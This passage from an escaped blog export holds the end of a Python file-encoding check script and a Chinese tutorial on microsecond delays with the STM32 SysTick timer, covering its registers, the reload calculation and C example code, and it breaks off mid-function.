\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eitem\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n共%d个错误!\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;请检查错误文件手动修改编码\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n-----------------------------\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e main\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/2d8a/"},{"title":"STM32使用SysTick定时器延时","time":"2022-07-27T18:42:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#STM32%E4%BD%BF%E7%94%A8SysTick%E5%AE%9A%E6%97%B6%E5%99%A8%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近在学习Stm32 HAL库相关教程\u003cdel\u003e(之前都是xjb缝合,缺少点原理的理解\u003c/del\u003e,在看到TM1640(一个可以方便在数码管上显示内容的模块)驱动编写的过程需要用到us 级别的延时,而HAL 库的 \u003ccode\u003eHal_Dealy()\u003c/code\u003e 的函数是ms 级别的,所以需要自己手动编写一个更精准的延时函数。看教程里几行不知所云,在搜索过程中大概了解到了几种写发,但是感觉比较优雅的是使用 \u003cstrong\u003eSysTick定时器\u003c/strong\u003e 进行延时。但是几篇教程在原理处比较简略,所以根据个人理解学习了一下。\u003c/p\u003e\u003ch2 id=\"参考目录\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E5%8F%82%E8%80%83%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"参考目录\"\u003e\u003c/a\u003e参考目录\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e《ARM Cortex-M3 权威指南》第3版\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Fireflycjd/p/14304902.html\"\u003eSTM32延时函数的四种方法 - Fireflycjd - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/xuqu607/p/13737040.html\"\u003eSTM32的SysTick延时方法 - 代码争霸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Leisure_ksj/article/details/105273110\"\u003eSTM32学习心得九:Systick滴答定时器和延时函数解读_天亮继续睡的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/haha690/article/details/111053367\"\u003estm32的systick(滴答定时器)实现精准延时_haha690的博客-CSDN博客_stm32精准定时\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://weibo01.blog.csdn.net/article/details/81136564\"\u003eSTM32延时函数的四种方法:普通延时(2种)、SysTick 定时器延时(2种)_魏波-的博客-CSDN博客_delayms延时函数用法\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://waka-can.blog.csdn.net/article/details/106527001?spm=1001.2014.3001.5506\"\u003e关于STM32单片机延时微妙(delay_us)函数-hal库_好奇龙猫的博客-CSDN博客_delay_us\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Firefly_cjd/article/details/106709259?spm=1001.2014.3001.5506\"\u003eSTM32延时函数的四种方法_strongercjd的博客-CSDN博客_stm32延时函数\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://shequ.stmicroelectronics.cn/forum.php?mod=viewthread\u0026amp;tid=628767\"\u003eSTM32高精度延时实验 (stmicroelectronics.cn)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"几种延时方法\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E5%87%A0%E7%A7%8D%E5%BB%B6%E6%97%B6%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"几种延时方法\"\u003e\u003c/a\u003e几种延时方法\u003c/h2\u003e\u003cp\u003e第一种比较粗暴,就是让单片机做一些无关紧要的工作来打发时间,比如写点循环;\u003c/p\u003e\u003cp\u003e第二种是用汇编指令,和第一种大同小异;\u003c/p\u003e\u003cp\u003e第三种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e中断\u003c/strong\u003e 的方式;\u003c/p\u003e\u003cp\u003e第四种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e查询\u003c/strong\u003e 的方式,也就是 \u003cstrong\u003e本次使用的方法\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e……(前三种可以在参考目录找到具体实现\u003c/p\u003e\u003ch2 id=\"SysTick-定时器\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#SysTick-%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"SysTick 定时器\"\u003e\u003c/a\u003eSysTick 定时器\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e详细资料可以阅读 《ARM Cortex-M3 权威指南》第3版 9.5 SysTick 定时器。\u003c/p\u003e\u003cp\u003eSysTick 定时器是 Cortex-M 处理器内部集成的一个小型定时器,属于NVIC 的一部分,可以产生SysTick 异常。SysTick 为简单的向下计数的24位计数器,可以使用处理器时钟或者外部时钟。\u003c/p\u003e\u003cp\u003eSysTick 定时器可用作简单的定时器外设,用以产生周期性中断,延时或时间测量。\u003c/p\u003e\u003ch3 id=\"SyTick-定时器的寄存器\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#SyTick-%E5%AE%9A%E6%97%B6%E5%99%A8%E7%9A%84%E5%AF%84%E5%AD%98%E5%99%A8\" class=\"headerlink\" title=\"SyTick 定时器的寄存器\"\u003e\u003c/a\u003eSyTick 定时器的寄存器\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e地址\u003c/th\u003e\u003cth\u003eCMSIS-Core 符号\u003c/th\u003e\u003cth\u003e寄存器\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0xE000E010\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 控制和状态寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E014\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 重装值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E018\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 当前值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E01C\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 校准值寄存器\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-控制和状态寄存器(SysTick-gt-CTRL)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#SysTick-%E6%8E%A7%E5%88%B6%E5%92%8C%E7%8A%B6%E6%80%81%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-CTRL%EF%BC%89\" class=\"headerlink\" title=\"SysTick 控制和状态寄存器(SysTick -\u0026gt; CTRL)\"\u003e\u003c/a\u003eSysTick 控制和状态寄存器(\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位段\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e16\u003c/td\u003e\u003ctd\u003eCOUNTFLAG\u003c/td\u003e\u003ctd\u003eRO\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e当SYSTICK 定时器计数到0时,该位变成1,读取寄存器或清除计数器当前值会被清零\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eCLKSOURCE\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0 = 外部参考时钟(STCLK);\u003cbr/\u003e1 = 使用内核时钟\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eTOCKINT\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e1 = SYSTICK 定时器计数减至0时产生异常 \u003cbr/\u003e0 = 不产生异常\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eENABLE\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eSYSTICK 定时器使能\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-重装值寄存器(SysTick-gt-LOAD)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#SysTick-%E9%87%8D%E8%A3%85%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-LOAD%EF%BC%89\" class=\"headerlink\" title=\"SysTick 重装值寄存器(SysTick -\u0026gt; LOAD)\"\u003e\u003c/a\u003eSysTick 重装值寄存器(\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eRELOAD\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e未定义\u003c/td\u003e\u003ctd\u003e定时器为0时的重装载值\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-当前值寄存器(SysTick-gt-VAL)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#SysTick-%E5%BD%93%E5%89%8D%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-VAL%EF%BC%89\" class=\"headerlink\" title=\"SysTick 当前值寄存器(SysTick -\u0026gt; VAL)\"\u003e\u003c/a\u003eSysTick 当前值寄存器(\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类信\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eCURRENT\u003c/td\u003e\u003ctd\u003eR/Wc\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e读出值位SYSTICK 定时器的当前数值。写入任何值都会清除寄存器,SYSTICK 控制和状态寄存器中的 COUNTFLAG 也会清零\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-校准值寄存器(SysTick-gt-CALIB)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#SysTick-%E6%A0%A1%E5%87%86%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-CALIB%EF%BC%89\" class=\"headerlink\" title=\"SysTick 校准值寄存器(SysTick -\u0026gt; CALIB)\"\u003e\u003c/a\u003eSysTick 校准值寄存器(\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e31\u003c/td\u003e\u003ctd\u003eNOREF\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1 = 没有外部参考时钟(STCLK 不可用)\u003cbr/\u003e0 = 有外部参考时钟可供使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e30\u003c/td\u003e\u003ctd\u003eSKEW\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1= 校准值并非精准的 10ms\u003cbr/\u003e0 = 校准值准确\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eTENMS\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e10毫秒校准值。芯片设计者应通过 Cortex-M3 的输入信号提供该数值,若读出为0,则表示校准值不可用。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"使用-SysTick-定时器\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E4%BD%BF%E7%94%A8-SysTick-%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"使用 SysTick 定时器\"\u003e\u003c/a\u003e使用 SysTick 定时器\u003c/h3\u003e\u003ch4 id=\"主要流程\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E4%B8%BB%E8%A6%81%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"主要流程\"\u003e\u003c/a\u003e主要流程\u003c/h4\u003e\u003cp\u003e本次使用查询的方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e将0写入 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 禁止 SysTick 定时器,防止之前 SysTick 定时器在之前被使能过;\u003c/li\u003e\u003cli\u003e将新的重加载值写入 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,重加载值应为周期数减1(因为是倒数到0);\u003c/li\u003e\u003cli\u003e将任何数值写入 SysTick 当前值寄存器 \u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e ,该寄存器会被清零;\u003c/li\u003e\u003cli\u003e写入 SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 启动寄存器\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"延时原理\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E5%BB%B6%E6%97%B6%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"延时原理\"\u003e\u003c/a\u003e延时原理\u003c/h4\u003e\u003cp\u003e利用SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 中的 \u003cstrong\u003e计数标志位\u003c/strong\u003e 来确定定时器合适变为0.可以设置 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e 的值,然后等待计数标志位变为0,以此实现延时。\u003c/p\u003e\u003cp\u003e示例代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置计数周期为256 (255~0)\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e LOAD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0XFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 清零当前值寄存器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e VAL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5 = b\u0026#39;101\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位0 = 1 为使能SYSTICK定时器\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位2 = 1 表示使用内核时钟\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 0x00010000 = 1\u0026lt;\u0026lt;16\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 通过查询 SysTick -\u0026gt; CTRL 第16位标志位判断计数器是否计数到0\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x00010000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"进行-us-级别延时\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E8%BF%9B%E8%A1%8C-us-%E7%BA%A7%E5%88%AB%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"进行 us 级别延时\"\u003e\u003c/a\u003e进行 us 级别延时\u003c/h3\u003e\u003ch4 id=\"关于时钟\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E5%85%B3%E4%BA%8E%E6%97%B6%E9%92%9F\" class=\"headerlink\" title=\"关于时钟\"\u003e\u003c/a\u003e关于时钟\u003c/h4\u003e\u003cp\u003e本次选用外部时钟。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对于STM32,外部时钟源是HCLK(AHB总线时钟)的1/8,内核时钟是HCLK时钟\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e)可以翻出来 CubeMX 的时钟树看一眼\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\"/\u003e\u003c/p\u003e\u003cp\u003e以f103 为例,这里HCLK 为72MHz,那么SYSTICK 的时钟为9MHz,即 \u003cstrong\u003eSYSTICK定时器以9MHz的频率递减\u003c/strong\u003e 。\u003c/p\u003e\u003ch4 id=\"计算\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"计算\"\u003e\u003c/a\u003e计算\u003c/h4\u003e\u003cp\u003e如果要获取 \u003cstrong\u003eN\u003c/strong\u003eus的延迟,那么我们需要计算出 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,即重加载值\u003c/p\u003e\u003cp\u003e容易得到:\u003c/p\u003e\u003cp\u003e$1s = 10^6us$\u003c/p\u003e\u003cp\u003e$$Nus=T\\times LOAD=\\frac{LOAD}{SYSTICK}\\times 10^6$$\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times SysTick \\times 10^{-6}$$\u003c/p\u003e\u003cp\u003e已知有:\u003c/p\u003e\u003cp\u003e$HCLK=72MHz$\u003c/p\u003e\u003cp\u003e$SYSTICK=9MHz$\u003c/p\u003e\u003cp\u003e代入具体数值可以得到:\u003c/p\u003e\u003cp\u003e$LOAD=Nus\\times9\\times 10^6\\times 10^{-6}$\u003c/p\u003e\u003cp\u003e最后得到\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times9$$\u003c/p\u003e\u003ch4 id=\"72M主频代码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#72M%E4%B8%BB%E9%A2%91%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"72M主频代码\"\u003e\u003c/a\u003e72M主频代码\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e)博客里面xjb找了一段\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"us级延时\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/463a/#us%E7%BA%A7%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"us级延时\"\u003e\u003c/a\u003eus级延时\u003c/h5\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序起始处)*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token 